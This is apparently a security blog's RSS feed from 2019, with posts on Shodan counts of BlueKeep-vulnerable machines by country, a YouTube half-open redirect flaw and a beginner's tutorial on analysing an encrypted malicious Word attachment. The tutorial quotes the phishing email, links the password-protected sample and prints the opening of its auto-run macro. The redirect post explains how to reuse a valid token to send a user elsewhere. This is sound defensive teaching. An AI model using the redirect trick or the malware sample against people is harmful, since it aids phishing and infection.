        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Vulnerability</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>Where are all the machines affected by BlueKeep hiding - part 2</title>
        <link>https://untrustednetwork.net/en/2019/08/10/where-are-all-the-machines-affected-by-bluekeep-hiding-part-2/</link>
        <pubDate>Sat, 10 Aug 2019 10:11:50 +0200</pubDate>
        
        <atom:modified>Sat, 10 Aug 2019 10:11:50 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/08/10/where-are-all-the-machines-affected-by-bluekeep-hiding-part-2/</guid>
        <description>Last week, we took a look at Shodan results to try to determine which countries are the &amp;ldquo;richest&amp;rdquo; in the world when it comes to machines vulnerable to BlueKeep visible from the internet. Since the number of vulnerable machines Shodan detects grows every day (see the following chart), I thought it might be interesting to have another look at the numbers. But in a way which is a little different.</description>
        <content:encoded>&lt;p&gt;Last week, we &lt;a href=&#34;https://untrustednetwork.net/en/2019/08/01/where-are-all-the-machines-affected-by-bluekeep-hiding/&#34;&gt;took a look at Shodan results&lt;/a&gt; to try to determine which countries are the &amp;ldquo;richest&amp;rdquo; in the world when it comes to machines vulnerable to BlueKeep visible from the internet. Since the number of vulnerable machines Shodan detects grows every day (see the following chart), I thought it might be interesting to have another look at the numbers. But in a way which is a little different.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/bluekeep-global.png&#34; alt=&#34;BlueKeep detections by Shodan&#34; /&gt;&lt;/p&gt;
&lt;p&gt;It should be mentioned that the rise in the number of affected machines is most likely due to Shodan scanning previously unscanned IP ranges and not because there are actually more vulnerable machines out there. In fact it is quite probable that a not insignificant percentage of machines shown by Shodan as vulnerable have either been assigned different IP addresses since the detection (and could therefore have even been counted multiple times) of have been patched since the detection. If you&amp;rsquo;d like to see something closer to an actual &amp;ldquo;real-time&amp;rdquo; look at the number of machines which are still vulnerable to BlueKeep and accessible from the internet, &lt;a href=&#34;https://rdpscan.shadowserver.org/statsbluekeep/&#34;&gt;Shadowserver&lt;/a&gt; will probably be a better place to look then Shodan.&lt;br /&gt;
But that doesn&amp;rsquo;t mean that Shodan can&amp;rsquo;t still give us something quite interesting in this area.&lt;br /&gt;
&lt;br&gt;&lt;br&gt;&lt;br /&gt;
Since very little has changed in terms of positions of different countries (see the &lt;a href=&#34;https://untrustednetwork.net/en/2019/08/01/where-are-all-the-machines-affected-by-bluekeep-hiding/&#34;&gt;previous post&lt;/a&gt; if you are interested who still has the dubious honor of belonging to the &amp;ldquo;BlueKeep Top 10 Club of Countries&amp;rdquo; as there were no changes in the first 10 places), I believe it might be more interesting to explore another aspect of the numbers, namely what percentage of machines which are accessible on the usual RDP ports (3388 and 3389) in the different countries are actually vulnerable. I quite like the idea since it could give us at least some idea of how large a percentage of all affected machines are potentially still unpatched in the countries in question.&lt;br /&gt;
&lt;br&gt;&lt;br&gt;&lt;br /&gt;
It is true that machines directly accessible from the internet are not the best sample for &amp;ldquo;all the machines out there&amp;rdquo;, however some lose correlation between patch levels of servers accessible from the internet and patch levels of all the other machines certainly exists. One could even realistically expect that servers directly connected to the internet should be patched more often than other servers/machines so using what Shodan sees as a sample isn&amp;rsquo;t that inappropriate.&lt;br /&gt;
Although, since we&amp;rsquo;re listing weaknesses of this approach, we should mention that we&amp;rsquo;re completely skipping over identifying operating systems of machines behind the RDP ports and we&amp;rsquo;re counting anything with any service accessible on 3388 or 3389 as either vulnerable or patched. I.e. the following results are interesting but take them with a grain of salt.&lt;br /&gt;
&lt;br&gt;&lt;br&gt;&lt;br /&gt;
Based on Shodan detections, of the 30 countries with highest numbers of affected machines, Hong Kong, South Korea, Argentina, China and Ukraine seem to be worse off when it comes to the percentages of machines with open RDP ports that are vulnerable to BlueKeep.&lt;br /&gt;
I&amp;rsquo;ve left the chart ordered by number of detected vulnerable machines in different countries so you can draw your own conclusions. The percentages themselves are in a table at the end of the post.&lt;br /&gt;
What seems most interesting is that although the US is second overall in the number of vulnerable machines detected (over 109k machines on the day of writing), it appears that the local patching culture is much better than in the rest of the &amp;ldquo;Top 30&amp;rdquo; BlueKeep countries as this number represents less than 3.7% of all systems with open RDP ports in the US.&lt;br /&gt;
This well illustrates the fact number of vulnerable systems in a certain country often doesn&amp;rsquo;t give us the whole story&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/bluekeep-percentages.png&#34; alt=&#34;Percentage of machines with open RDP ports affected by BlueKeep &#34; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Position&lt;/th&gt;
&lt;th&gt;Country&lt;/th&gt;
&lt;th&gt;Vulnerable machines&lt;/th&gt;
&lt;th&gt;Percentage of vulnerable machines&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;China&lt;/td&gt;
&lt;td&gt;355449&lt;/td&gt;
&lt;td&gt;24.34%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;United States&lt;/td&gt;
&lt;td&gt;109011&lt;/td&gt;
&lt;td&gt;3.67%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;South Korea&lt;/td&gt;
&lt;td&gt;32300&lt;/td&gt;
&lt;td&gt;29.07%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Brazil&lt;/td&gt;
&lt;td&gt;29137&lt;/td&gt;
&lt;td&gt;19.66%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Russian Federation&lt;/td&gt;
&lt;td&gt;28432&lt;/td&gt;
&lt;td&gt;20.12%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Hong Kong&lt;/td&gt;
&lt;td&gt;25015&lt;/td&gt;
&lt;td&gt;30.67%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Germany&lt;/td&gt;
&lt;td&gt;13971&lt;/td&gt;
&lt;td&gt;6.58%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Taiwan&lt;/td&gt;
&lt;td&gt;13394&lt;/td&gt;
&lt;td&gt;22.36%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Japan&lt;/td&gt;
&lt;td&gt;12444&lt;/td&gt;
&lt;td&gt;10.15%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;United Kingdom&lt;/td&gt;
&lt;td&gt;11691&lt;/td&gt;
&lt;td&gt;8.75%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;France&lt;/td&gt;
&lt;td&gt;10413&lt;/td&gt;
&lt;td&gt;7.74%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;Canada&lt;/td&gt;
&lt;td&gt;10086&lt;/td&gt;
&lt;td&gt;9.78%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;Italy&lt;/td&gt;
&lt;td&gt;9585&lt;/td&gt;
&lt;td&gt;16.99%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Spain&lt;/td&gt;
&lt;td&gt;9428&lt;/td&gt;
&lt;td&gt;17.13%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;India&lt;/td&gt;
&lt;td&gt;7732&lt;/td&gt;
&lt;td&gt;11.00%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;Mexico&lt;/td&gt;
&lt;td&gt;7361&lt;/td&gt;
&lt;td&gt;16.50%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;Netherlands&lt;/td&gt;
&lt;td&gt;6941&lt;/td&gt;
&lt;td&gt;4.48%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;Argentina&lt;/td&gt;
&lt;td&gt;6826&lt;/td&gt;
&lt;td&gt;27.86%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;Ukraine&lt;/td&gt;
&lt;td&gt;6516&lt;/td&gt;
&lt;td&gt;22.41%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;Australia&lt;/td&gt;
&lt;td&gt;5555&lt;/td&gt;
&lt;td&gt;8.69%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;Viet Nam&lt;/td&gt;
&lt;td&gt;5455&lt;/td&gt;
&lt;td&gt;13.07%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;Singapore&lt;/td&gt;
&lt;td&gt;5226&lt;/td&gt;
&lt;td&gt;6.45%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;Turkey&lt;/td&gt;
&lt;td&gt;4915&lt;/td&gt;
&lt;td&gt;10.92%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;Thailand&lt;/td&gt;
&lt;td&gt;4522&lt;/td&gt;
&lt;td&gt;15.52%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;Poland&lt;/td&gt;
&lt;td&gt;4241&lt;/td&gt;
&lt;td&gt;14.01%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;South Africa&lt;/td&gt;
&lt;td&gt;4175&lt;/td&gt;
&lt;td&gt;13.95%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;Colombia&lt;/td&gt;
&lt;td&gt;2962&lt;/td&gt;
&lt;td&gt;14.59%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;Czech Republic&lt;/td&gt;
&lt;td&gt;2890&lt;/td&gt;
&lt;td&gt;10.40%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;Iran&lt;/td&gt;
&lt;td&gt;2822&lt;/td&gt;
&lt;td&gt;14.14%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;Malaysia&lt;/td&gt;
&lt;td&gt;2725&lt;/td&gt;
&lt;td&gt;17.82%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/icons/stats.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>Vulnerability</category>
            
          
            
              <category>BlueKeep</category>
            
          
            
              <category>Shodan</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>SANS ISC Diary - The good, the bad and the non-functional</title>
        <link>https://untrustednetwork.net/en/2019/08/08/sans-isc-diary-the-good-the-bad-and-the-non-functional/</link>
        <pubDate>Thu, 08 Aug 2019 21:31:08 +0200</pubDate>
        
        <atom:modified>Thu, 08 Aug 2019 21:31:08 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/08/08/sans-isc-diary-the-good-the-bad-and-the-non-functional/</guid>
        <description>A Guest Diary of mine was published today on the SANS Internet Storm Center. If you&amp;rsquo;ve wondered how do the less usual cyber attacks look, it might be worth a read&amp;hellip;</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Guest+Diary+The+good+the+bad+and+the+nonfunctional+or+how+not+to+do+an+attack+campaign/25218/&#34;&gt;Guest Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. If you&amp;rsquo;ve wondered how do the less usual cyber attacks look, it might be worth a read&amp;hellip;&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>Attack</category>
            
          
            
              <category>SANS</category>
            
          
            
              <category>Drupal</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>Where are all the machines affected by BlueKeep hiding?</title>
        <link>https://untrustednetwork.net/en/2019/08/01/where-are-all-the-machines-affected-by-bluekeep-hiding/</link>
        <pubDate>Thu, 01 Aug 2019 11:23:55 +0200</pubDate>
        
        <atom:modified>Mon, 05 Aug 2019 16:13:00 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/08/01/where-are-all-the-machines-affected-by-bluekeep-hiding/</guid>
        <description>EDIT 8/5/2019: Wrong CVE - CVE-2019-0709 was mentioned instead of CVE-2019-0708&amp;hellip;
We&amp;rsquo;ve all read about the hundereds of thousands of machines affected by BlueKeep connected to the internet, but where are they hiding? With the help of Shodan, we can try to figure it out.
At the time of writing, Shodan returns 667243 results for CVE-2019-0708. In the leading place is China with 291686 results, followed by United States (88625 results), Korea (26578 results), Brazil (23756 results) and Russia (22682).</description>
        <content:encoded>&lt;p&gt;&lt;em&gt;EDIT 8/5/2019: Wrong CVE - CVE-2019-0709 was mentioned instead of CVE-2019-0708&amp;hellip;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ve all read about the hundereds of thousands of machines affected by BlueKeep connected to the internet, but where are they hiding? With the help of Shodan, we can try to figure it out.&lt;/p&gt;
&lt;p&gt;At the time of writing, Shodan returns 667243 results for CVE-2019-0708. In the leading place is China with 291686 results, followed by United States (88625 results), Korea (26578 results), Brazil (23756 results) and Russia (22682).&lt;/p&gt;
&lt;p&gt;Top 49 countries are each the home of more than 1000 vulnerable servers (the Czech Republic has 2327 results and is in 29th place) and each of the top 97 countries has at least 100 detections.&lt;/p&gt;
&lt;p&gt;For those of you who would like to take a look at all the countries (though it is possible I missed some of them) where there was at least one vulnerable machine, you may take a look at the following chart.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/bluekeep.png&#34; alt=&#34;BlueKeep&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/icons/stats.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>Vulnerability</category>
            
          
            
              <category>BlueKeep</category>
            
          
            
              <category>Shodan</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>Half-open redirect vulnerability in Youtube</title>
        <link>https://untrustednetwork.net/en/2019/07/22/half-open-redirect-vulnerability-in-youtube/</link>
        <pubDate>Mon, 22 Jul 2019 19:33:43 +0200</pubDate>
        
        <atom:modified>Mon, 22 Jul 2019 19:33:43 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/07/22/half-open-redirect-vulnerability-in-youtube/</guid>
        <description>If you open any Youtube video, which has in its description a link to an external URL, you may notice that the link points to a Youtube redirection mechanism (https://www.youtube.com/redirect?&amp;hellip;), with the target URL being passed to it as a parameter, rather than to the target URL itself. In such a case, the link has the following structure:
https://www.youtube.com/redirect?q=[target_URL]&amp;amp;redir_token=[token]&amp;amp;event=video_description&amp;amp;v=[video_ID]
Since there is a redir_token parameter in the URL, one might assume that the redirect mechanism isn&amp;rsquo;t open, i.</description>
        <content:encoded>&lt;p&gt;If you open any Youtube video, which has in its description a link to an external URL, you may notice that the link points to a Youtube redirection mechanism (ht&lt;span&gt;tps://www.yout&lt;/span&gt;ube.com/redirect?&amp;hellip;), with the target URL being passed to it as a parameter, rather than to the target URL itself. In such a case, the link has the following structure:&lt;/p&gt;
&lt;p&gt;&lt;kbd&gt;ht&lt;span&gt;tps://www.you&lt;/span&gt;tube.com/redirect?q=[target_URL]&amp;amp;redir_token=[token]&amp;amp;event=video_description&amp;amp;v=[video_ID]&lt;/p&gt;
&lt;p&gt;Since there is a &lt;em&gt;redir_token&lt;/em&gt; parameter in the URL, one might assume that the redirect mechanism isn&amp;rsquo;t open, i.e. that can&amp;rsquo;t be used for redirection to an arbitrary URL. One would, however, be only half-right.&lt;/p&gt;
&lt;p&gt;The value of the token seems to be connected with the current Youtube session (though there isn&amp;rsquo;t any obvious corelation between values of relevant cookies and the token). And while parameters &lt;em&gt;event&lt;/em&gt; and &lt;em&gt;v&lt;/em&gt; are optional, if you try to use the redirection mechanism without the &lt;em&gt;redir_token&lt;/em&gt; parameter - or with an invalid value of this parameter - you will be greeted with the following message:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/youtube/are_you_sure.png&#34; alt=&#34;Are you sure?&#34; /&gt;&lt;/p&gt;
&lt;p&gt;You may try this out for yourself yourself using this &lt;a href=&#34;https://www.youtube.com/redirect?q=https%3A%2F%2Fwww.untrustednetwork.net&#34;&gt;link&lt;/a&gt;. So far everything seems to be in order.&lt;/p&gt;
&lt;p&gt;A problem - if only a small one - however, starts to become obvious when we try to use a valid token along with another URL (i.e. we copy a valid link, perhaps delete the optional parameters, and change the value of the parameter &lt;em&gt;q&lt;/em&gt;). In this case, a browser will indeed be redirected (using HTTP code 303) to the new URL, because the tokens are in no way dependent on the value of &lt;em&gt;q&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This means that if you can get a valid redirect link from a user, who has an active Youtube session established, you could modify it in such a way, that - if this user opened it - it would redirect his/her browser to the URL of your choice. As the tokens seem to last (although I tried to determine the maximum age for a token on only one ocasion so don&amp;rsquo;t quote me on it) for approximately 24 hours, one could hypotetically use this (it should probably be called &amp;ldquo;partially-missing input validation&amp;rdquo;, but &amp;ldquo;half-open redirect&amp;rdquo; will do) vulnerability in a real world scenario. Although it is almost completely useless for malicious phishing campaigns, it could be used quite effectively against - for example - one&amp;rsquo;s coleagues and/or friends (e.g. &amp;ldquo;Jack, could you please send me the link under this video? Thank you. Now, here is a link to a video you&amp;rsquo;re going to love&amp;hellip;&amp;quot;). Plus, it might be a good example of dangers of clicking on seemingly safe links in e-mail for any security awareness classes out there.&lt;/p&gt;
&lt;p&gt;Since Google replied to me that they don&amp;rsquo;t intend to fix this small vulnerability and don&amp;rsquo;t mind if I publish it, use it (&lt;strong&gt;ethically&lt;/strong&gt;, please) as you see fit.&lt;/p&gt;
&lt;p&gt;It should be added that there seems to be some regularity to the values of tokens being generated (e.g. when a site is refreshed), but at first glance there doesn&amp;rsquo;t seem to be any obvious way to use this regularity to craft valid tokens, although I didn&amp;rsquo;t spend much time on verifying that.&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>Vulnerabilities</category>
            
          
            
              <category>Youtube</category>
            
          
            
              <category>Google</category>
            
          
        
        
          
            
              <category>Vulnerabilities</category>
            
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>Analysis of an encrypted malicious DOC file and an (un)interesting phishing</title>
        <link>https://untrustednetwork.net/en/2019/05/05/analysis-of-an-encrypted-malicious-doc-file-and-an-uninteresting-phishing/</link>
        <pubDate>Sun, 05 May 2019 18:02:46 +0200</pubDate>
        
        <atom:modified>Sun, 05 May 2019 18:02:46 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/05/05/analysis-of-an-encrypted-malicious-doc-file-and-an-uninteresting-phishing/</guid>
        <description>Couple of days ago, I found a pretty usual-looking phishing e-mail in one of the quarantine folders of my inbox. It was addressed to me and to 19 other security specialists and incident response teams and contained a text (in German - see bellow), informing us that the author saw a job offer to which she was responding with an application document attached to the e-mail. The attachment appeared to be an encrypted DOC file and the password (&amp;ldquo;123123&amp;rdquo;) was mentioned in the body of the message.</description>
        <content:encoded>&lt;p&gt;Couple of days ago, I found a pretty usual-looking phishing e-mail in one of the quarantine folders of my inbox. It was addressed to me and to 19 other security specialists and incident response teams and contained a text (in German - see bellow), informing us that the author saw a job offer to which she was responding with an application document attached to the e-mail. The attachment appeared to be an encrypted DOC file and the password (&amp;ldquo;123123&amp;rdquo;) was mentioned in the body of the message.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sehr geehrte Damen und Herren,

über die Webseite der Bundesagentur für Arbeit habe ich von Ihrem Stellenangebot erfahren.
Aufgrund meiner langjährigen Berufserfahrung und die kontinuierliche, selbständige Weiterbildung bin ich mir sich, die mit der herausfordernden Stelle verbundenen Anforderungen zu Ihrer Zufriedenheit erfüllen zu können.

Meine Bewerbungsunterlagen habe ich an diese E-Mail angehängt. Passwort: 123123

Ich verfolge das Ziel, alle meine Fertigkeiten gewinnbringend in Ihrem Unternehmen einzusetzenDarüber hinaus strebe ich eine kontinuierliche Weiterentwicklung an, um auch zukünftige Anforderungen an diese Stelle erfüllen zu können.

Gerne stehe ich Ihnen für weitere Fragen zur Verfügung. Auf eine persönliches Vorstellungsgespräch, in welchem ich Sie gerne von meinen fachlichen Kenntnissen sowie meiner Motivation überzeuge, freue ich mich.

Ich verbleibe mit freundlichen Grüßen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even though pretty much the only unussual thing about the e-mail were the recipients, I&amp;rsquo;ve decided to do a short writeup on it since I&amp;rsquo;ve often seen junior (although not only) analysts struggle with analyzing potetially malicious Office files and I believe that this might be a good case to learn at least some basics on. So if you&amp;rsquo;ve never done &amp;ldquo;maldoc analysis&amp;rdquo; and want to know the basics, consider this a quick-and-dirty tutorial to get you up to speed.&lt;/p&gt;
&lt;p&gt;You may download the document in question &lt;a href=&#34;https://untrustednetwork.net/files/2019/maldoc-4-2019.zip&#34;&gt;here&lt;/a&gt; (password is &amp;ldquo;infected&amp;rdquo;) and follow along, if you&amp;rsquo;d like.&lt;/p&gt;
&lt;p&gt;To my mind, the best tool - or rather a collection of tools - for analyzing Office documents and PDFs (among other file types) and determining whether or not they&amp;rsquo;re malicious is the &lt;a href=&#34;https://blog.didierstevens.com/didier-stevens-suite/&#34;&gt;Didier Stevens Suite&lt;/a&gt; (DSS). The tool from this suite which can help us the most when it comes to analyzing &amp;ldquo;old style&amp;rdquo; Office documents (DOC, XLS and some other file types) is &lt;a href=&#34;https://blog.didierstevens.com/programs/oledump-py/&#34;&gt;OLEdump&lt;/a&gt;. Use of the tool is quite straightforward and it can provide us with lots of analytical information about a potentially malicious file. If we run it against the document without any additional parameters, it will give us some basic information about internal structure of the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/oledump_output.png&#34; alt=&#34;OLEdump output&#34; /&gt;&lt;/p&gt;
&lt;p&gt;In this case, it seems that the files contents are indeed encrypted, but this isn&amp;rsquo;t quite what one would expect to see when analyzing a &amp;ldquo;normal&amp;rdquo; password-protected DOC file as the internal file structure displayed doesn&amp;rsquo;t look right.&lt;/p&gt;
&lt;p&gt;When analyzing a Word document of the &amp;ldquo;old DOC&amp;rdquo; variety (&lt;a href=&#34;https://www.forensicswiki.org/wiki/Word_Document_%28DOC%29&#34;&gt;OLE Binary Compound File&lt;/a&gt;), OLEdump should give us an output showing a file structure at least somewhat similar to the following examples. First file is a normal document, second file is a password-protected document and the third is a password-protected document containing macros.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/oledump_output_2.png&#34; alt=&#34;OLEdump outputs&#34; /&gt;&lt;/p&gt;
&lt;p&gt;What we have here is actually a &amp;ldquo;new type&amp;rdquo; Word file with enabled encryption (since in cases when encryption is enabled on a DOCX file, it is saved as an OLE compound file) and modified extension. Attackers quite often change extensions of DOCM files to DOC, since Word will open (and correctly interpret) a DOCX/DOCM document with a DOC extension and most users seem to be less affraid to open a DOC than a DOCM, which obviously contains macros.&lt;/p&gt;
&lt;p&gt;Although OLEdump is a fairly versatile tool, it can&amp;rsquo;t natively handle decryption of DOCX files, even though they are in the OLE CF format. It can, however, tell us what kind of encryption is used to secure the contents of the file (as there are several possibilities - if you&amp;rsquo;d like to know more, you may refer to the relevant &lt;a href=&#34;https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/&#34;&gt;Microsoft documentation&lt;/a&gt;) which will help us to choose the best tool for decryption. As Didier Stevens - author of DSS - &lt;a href=&#34;https://blog.didierstevens.com/2018/06/07/encrypted-ooxml-documents/&#34;&gt;mentions on his own blog&lt;/a&gt;, there is a plugin called &amp;ldquo;plugin_office_crypto&amp;rdquo; which can help us with determining the encryption used. With its help (using the option -p), we can see that in this case Agile Encryption is employed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/oledump_plugin_output.png&#34; alt=&#34;OLEdump plugin output&#34; /&gt;&lt;/p&gt;
&lt;p&gt;One of the first results Google returns (at the time of writing), if you ask it how to decrypt Agile Encryption, is a link to a GitHub page for &lt;a href=&#34;https://github.com/nolze/msoffcrypto-tool&#34;&gt;msoffcrypto-tool&lt;/a&gt;, a &amp;ldquo;Python tool and library for decrypting MS Office files with passwords or other keys&amp;rdquo;. As it is also a tool I can recommend, since it&amp;rsquo;s helped me couple of times in the past, it will be the one we use for decrypting our malicious document.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/maldoc/decrypted_output.png&#34; alt=&#34;Decrypted output&#34; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, the decryption was successful. If we use TrID or a similar tool, we will learn that our document is indeed a DOCM file. Although modern Word documents are basically ZIP files containing XMLs, any macros they contain are still saved in OLE CF format, which means we can still use OLEdump to analyze our file. All we need to do is have a look at the macros in A3 to A6 and OLEdump option -v will help us with that. You may find the entire source code bellow and as it is not obfuscated in any way, I don&amp;rsquo;t believe it requires much in the way of an explanation. Perhaps the only thing to add is that details for the word88.foc file - which the macro tries to download - may be found &lt;a href=&#34;https://www.virustotal.com/#/file/ab3cac7d9c1cb2d78e1be8c4749cbc7332fdc926ea85a92000e2c7f52fab51b5/detection&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;a6-vbathisdocument&#34;&gt;A6: VBA/ThisDocument&lt;/h4&gt;
&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Private&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;Document_Open&lt;/span&gt;()
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Dim&lt;/span&gt; var1 &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Integer&lt;/span&gt;
    var1 &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;1234&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; var1 &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;1234&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;
        noutil
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;a3-vbamodule1&#34;&gt;A3: VBA/Module1&lt;/h4&gt;
